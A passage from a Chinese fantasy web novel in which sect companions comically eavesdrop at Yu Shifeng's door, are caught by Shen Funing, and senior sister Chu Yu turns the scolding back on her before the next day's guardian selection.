“怎么会。”沈复宁看出了花雾姒眼神后面隐匿的危险,正襟危坐,对着她夸夸其谈了起来,“别人穿衣裳,都是衣裳衬人,你可是反了过来,人衬衣裳,着般素净的衣裳,配上你绝美的容貌更显眉目清秀。” “确定?”花雾姒紧皱的眉头松了松,却还是有些不肯相信,“这群人里面我最信任的就是你的眼光,审美了,可不要骗我。” “不骗你。”沈复宁眼睛闪烁着诚信的光。 花雾姒咬着唇,看看她,又低头看看自己穿着的与平日全然不同的衣裳,最后还是信了。 沈复宁真的没有骗她,比起平日花雾姒穿着的明艳,此时身着瘴城普通服饰的她比平日的矜贵更多了分明媚与清新,与平日穿着完全相反,更是让人耳目一新。 看了眼花雾姒此刻已经完全平滑的眉间,沈复宁无声的笑了,这不是已经慢慢消解了穿着服饰骤变带来的不适应了。 “沈复宁,有人找。” “谁啊。”花雾姒回头不满地瞥了眼不打招呼就推开门的姜柳依。 姜柳依递给她一个求饶的眼神,靠在门框没再进去,“就那个岑倪。” “她来做什么?” “谁知道?”姜柳依耸耸肩,无所谓的说:“可能是找他们聊聊明天的荫守遴选吧。” “们?”沈复宁皱眉又松开,“还找俞时逢了啊。” 嗯,怎么回事,为什么从沈复宁这句话中听出了不屑的意味。 姜柳依向花雾姒投出一个不解的眼神,“他俩咋了?” 花雾姒摇摇头,“不知道。” 沈复宁也没空给她俩解释,站起来,正在无声交流的两人一眼,走了出去。 姜柳依盯着沈复宁的背影若有所思,然后,拍了下脑袋,“我就说他俩这两天的气氛不对,这是吵架了?” 花雾姒冲她翻了个白眼,不打算理这个傻子。 吵架,亏她能说出口,俞时逢看起来是能跟沈复宁吵起来的人。 “不是就不是嘛,你这个眼神是什么意思。”姜柳依被她的眼神深深刺伤。 花雾姒却没再理她,低头理着自己的衣裳,过了会儿,问:“你觉得我明天梳个什么发型好一点?” “嗯?”没人回应,又耐着性子等了会儿,依旧没人理她,不耐烦的回头,“你耳朵坏了?” 得,哪儿还有人影,“算了,她的意见也没有参考意义。” 一溜烟没影的人,此刻正站在俞时逢的门口,耳朵紧紧贴着门,企图听到里面在说什么。 28. 第 28 章 “这是在做什么?”楚予出门看到的就是姜柳依弯着腰,紧靠在俞时逢门前的样子,不免有些好奇。 “嘘。”姜柳依回头把食指放在嘴前,冲楚予比了个噤声的手势,回过头,又突然想到什么,侧了侧身,让出一个位置,指了指那个空位。 楚予鄙夷的看了她一眼。 姜柳依看懂了挑了下眉,做了个口型,“沈复宁。”,做完就转过身,兢兢业业的听墙角,耳朵刚贴上去,就感觉到有人将她挤到了一边。 不是,你的形象呢?姜柳依看着恨不得将门拆了得楚予,无声地翻着白眼质问。 楚予没理会姜柳依的控诉,她跟她可不一样,她答应了师父看管好沈复宁的,皱着眉瞥了眼这道碍事的门,又不得已趴了上去。 过了会儿,“嗯?”没声音?楚予喉间溢出困惑,转了过身,换了另一只耳朵,怎么还没有? “你说他们在说什么?” “谁知道呢?啥都听不见啊。” “就是。” “要不我们……”姜柳依的指尖已经冒出了灵光,又突觉不对,陡然转身,看见了不知何时出来的花雾姒,“你……” “在干嘛呢?” “别说话。”三人齐齐转身,警告出声的尤璟。 花雾姒四处看了看,见没人,立刻将她推了过来。 “这样不好吧。”刚让尤璟与他们同气连枝,姬齐结怯懦的声音又冒了出来。 楚予看了眼聚精会神听墙角的姜柳依和困着尤璟的花雾姒,认了命,捂着姬齐结的嘴,一同推到了门边。 “真的一点声音都没有啊。”姜柳依有些气馁。 “再认真听听呢?”花雾姒贴的又近了些。 “你们这是在听什么?”状况外的尤璟含糊着声音问。 “没什么。”楚予打着哈哈。 又过了会儿,被捂着嘴的姬齐结发出了“唔,唔。”的声音。 “怎么了?你说啊。”姜柳依踮着脚,双手高高举起扒在门上,听见姬齐结稀奇的如此有倾诉欲,特别分出心问了一句。 “不好意思。”意识到什么的楚予,立刻松开了导致姬齐结无法正常发出声音的罪魁祸“手”。 重获“声”机的姬齐结却没有再发出任何声音,刚刚的发声,就像是单纯的对楚予捂着自己嘴的不满。 “算了,我直接施法得了。”一丝声音都没听见的姜柳依受不了了,也不再管这样做会不会侵犯同伴的隐私,没听见有人反对,话音落下的瞬间,凝在手指上的光,立刻飞入了房内。 过了会儿,门外依旧落针可闻。 “你是不是好久都没练过术法了?”花雾姒觉得没有一个正当的理由能解释姜柳依连最简单的窃音咒都没无效。 “大概,也许,是因为,里面没人吧。” 几人大彻大悟的点头,确实有可能。 “你不是说他们在房间?”花雾姒不满的看着姜柳依,发现对方一脸惊恐的看着楼梯的方向,纳闷的转过去。 沈复宁脸上凝着笑,正冲她们招手,俞时逢站在她身下的一级阶梯上,忍着脸上的笑看着沈复宁。 沈复宁看见最后一个花雾姒也转过了身,同她对上了眼神,视线在及人身上溜了一圈,最后停在自己最亲爱的大师姐楚予身上,扬起了下巴。 “师姐,这是在做什么?”沈复宁憋着笑问她,看楚予热闹这等的好事,不容易遇到,但只要能遇到,就不可能让她放过。 楚予眼神转了转,摸了下鼻子,对上沈复宁调笑的眼神,正义凛然地说:“我看见姜柳依一脸认真的趴在俞时逢门前,还以为他出了什么事。” 姜柳依无语了,不是,堂堂太初宗大师姐,说起谎话来怎么脸不红心不跳的,太初宗的人知道吗? 太初宗的人还真不知道,就像沈复宁,听见楚予这番明显是糊弄的义正言辞都觉得难得,不免想要多逗弄一会儿。 “这样吗?我还以为师姐是担心我来着。”沈复宁随手将手中拎着的东西递给俞时逢,俞时逢从善如流的抬手接过,抬脚往上走了一级,靠在楼梯旁的望柱上,眉梢带笑的看着沈复宁往楚予面前走,并且敏锐的感知到她现在有点兴奋。 楚予看着她眼冒精光的样子,脑子里瞬间响起了警铃,身上汗毛都竖起来一些,“你又没出什么事,担心你做什么?”她看着愈发近的沈复宁,吞了口不存在的口水,继续说,“就算担心你,也是去你房间,我来俞时逢房间做什么?” “这样啊。那你担心俞时逢什么?” “担心俞时逢什么?”楚予重复了一遍,瞬间将目光转向了姜柳依,问了她一遍,“你担心俞时逢什么?” 姜柳依不可置信的看着楚予,哇塞,我就能得罪的了沈复宁了吗? 没办法,师姐的面子需要保住,这要是在她这里占了下风,以后只要她说教,沈复宁绝对会拿出今晚的事情嘲笑她,她这个师姐还做不做了。 “呵呵。”姜柳依尬笑了两声,瞥了眼看天的花雾姒,站在原地保持着最开始姿势的姬齐结,将希望托给了场面上最为靠谱的尤璟,字从牙缝里一个个蹦出来,“我在担心什么呢?嗯?” 感受到求助的眼神,尤璟下意识的转过头,刚有动作就后悔了,看见姜柳依祈求的目光,恨不得将刚刚的自己一手刀砍晕。但事已至此,她只能闭上眼,深吸口气,“她……” “我还以为师姐是知道我在俞时逢的房间所以担心的。”沈复宁特明事理的没去为难尤璟,太初宗的家事犯不着扯上其他人,更何况她只是想逗逗这个稀罕的楚予。 沈复宁话音还没落,尤璟就睁开了眼睛,不动声色的往一旁移了移,生怕她们的恩怨再次烧到自己身上。 一旁的姜柳依看见她的动作也学着往后面缩了缩。 沈复宁的余光晃见了,没说什么,静静的看着面带囧色的楚予,想要看看她还能有什么没见过的反应。 谁知道楚予的 腰背一下子就挺直了,“你大晚上不睡觉去俞时逢房里做什么?”眼神扫过她,看了眼俞时逢。 俞时逢立刻就站直了,沈复宁也懵了,不是,怎么反过来了。 楚予一下子就抓住了沈复宁晃神的瞬间,再接再厉道:“还有,明天荫守遴选,不好好养精蓄锐……” “你不是让我留手的嘛。”听见楚予的责备,早已形成肌肉记忆的沈复宁下意识为自己开脱。 我天,廊上的几人目瞪口呆的看着这一幕。 一句话,楚予靠着一句话,将局势反转,甚至隐隐有压过沈复宁刚刚气势的现象,这就是大师姐的气势嘛。 看热闹的几人,趁着喘气的空隙,眼神若有似无的扫过在场的另外一个大师姐。 尤璟头冒黑线,且不说砍辟门和太初宗的教学宗旨全然相反,就说眼前的沈复宁,他们宗门是绝对教不出来如此嚣张的人的,尤其是从小在砍辟门长大的,早早就立好了规矩。 楚予抓着沈复宁晃神的瞬间,再接再厉道:“让你留手没让你放弃抵抗,万一你一时不查被伤着了怎么办,还有……”她眼神扫过俞时逢。 俞时逢立刻站直,沈复宁也突然有些心虚,她师姐刚说过让她远离俞时逢没多久,就抓到她好几次了。 沈复宁心虚的有些明显,反衬的楚予理直气壮更有道理,仿佛刚刚理亏的她只是众人的幻觉一般。 “还有,大晚上出去做什么了?” “没做什么。”沈复宁的声音低了下来,再也不复刚刚嚣张的样子,“就买了点东西。” 楚予没再看她,反倒看向了在一旁装鹌鹑的姜柳依。 姜柳依被她看的打了个激灵,“怎,怎么了?” “你在俞时逢门口是打算听什么?”楚予问她。 姜柳依看着一直在对她使眼色的沈复宁,又看了看一脸严肃看着她的楚予,识时务者为俊杰,楚予明显是能全面压制住沈复宁的狠角色。她果断偏过头,装作看不明白沈复宁眨眼的意思,对楚予说:“岑倪来找他俩了。” “哼,说吧。”楚予摊开手,大有一幅你说不明白,或是我不满意就没完的样子。 沈复宁扶了下额头,没想明白事态怎么突然之间就变成了这样。 “想不明白?”楚予问她,却没等她的回答,又说,“那就你说。” 突然被点名的俞时逢一凛,看了眼沈复宁,见对方不愿他开口,他也就没动。 沈复宁看了眼俞时逢,又看了眼隐隐好奇的几人,叹了口气,走到俞时逢门前,朝他看过去,见他点头,才说:“说话还是坐着说好。”说完,推开俞时逢的房门走了进去。 几人迅速跟上,只有楚予落后一步,最后伸出胳膊拦在俞时逢面前,问他,“你真的没什么计划吧?” 俞时逢看她一眼,语气漫不经心,“放心。” 楚予拦着他好像只是想要他这份保证,他说了,她也就信了,放下了胳膊,跟着走了进去。